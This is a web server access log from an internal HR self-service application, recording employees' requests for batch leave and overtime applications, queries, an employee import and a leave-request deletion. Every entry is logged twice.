192.168.11.149 - - [25/May/2023:09:34:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.149 - - [25/May/2023:09:34:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.12.71 - - [25/May/2023:09:34:57 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.11639014586886676 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:34:57 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.11639014586886676 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:35:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.71 - - [25/May/2023:09:35:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.149 - - [25/May/2023:09:34:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.149 - - [25/May/2023:09:34:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:35:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:35:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:35:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:35:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:36:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:36:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269
192.168.11.136 - - [25/May/2023:09:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269
192.168.11.136 - - [25/May/2023:09:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269
192.168.11.136 - - [25/May/2023:09:37:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:37:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:37:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.12.71 - - [25/May/2023:09:37:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:37:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 14848
192.168.11.136 - - [25/May/2023:09:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832 HTTP/1.1" 200 5264
192.168.12.71 - - [25/May/2023:09:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 17030
192.168.12.71 - - [25/May/2023:09:38:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 17030 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:38:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:38:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:38:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 17030 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:38:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4545062134786828 HTTP/1.1" 200 17030
192.168.11.236 - - [25/May/2023:09:38:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4978
192.168.11.236 - - [25/May/2023:09:38:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4978 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.15000028869131832" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:09:37:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:37:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:38:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:38:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.236 - - [25/May/2023:09:38:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:38:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:39:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:39:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.71 - - [25/May/2023:09:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:39:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:39:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:39:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8869242981546472 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:39:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8869242981546472 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:39:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8869242981546472 HTTP/1.1" 200 15567
192.168.11.236 - - [25/May/2023:09:39:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8869242981546472 HTTP/1.1" 200 15567 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8869242981546472" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:42:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:42:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:09:42:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:42:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772
192.168.12.71 - - [25/May/2023:09:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95361 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95361
192.168.12.71 - - [25/May/2023:09:42:48 +0800] "GET /eHR/upload/userfile/c50870a283cfefd7a9b43778d03a7fae.png?&openW=Y&rand=0.9182907978112973 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:42:48 +0800] "GET /eHR/upload/userfile/c50870a283cfefd7a9b43778d03a7fae.png?&openW=Y&rand=0.9182907978112973 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=92046 HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:09:43:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=92046 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A92046+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3103 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A92046+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3103
192.168.12.71 - - [25/May/2023:09:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.136 - - [25/May/2023:09:39:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:39:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:42:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:42:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:09:43:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11371144452071968 HTTP/1.1" 200 14848
192.168.12.71 - - [25/May/2023:09:43:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11371144452071968 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11371144452071968 HTTP/1.1" 200 17030 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11371144452071968" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:43:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11371144452071968 HTTP/1.1" 200 17030
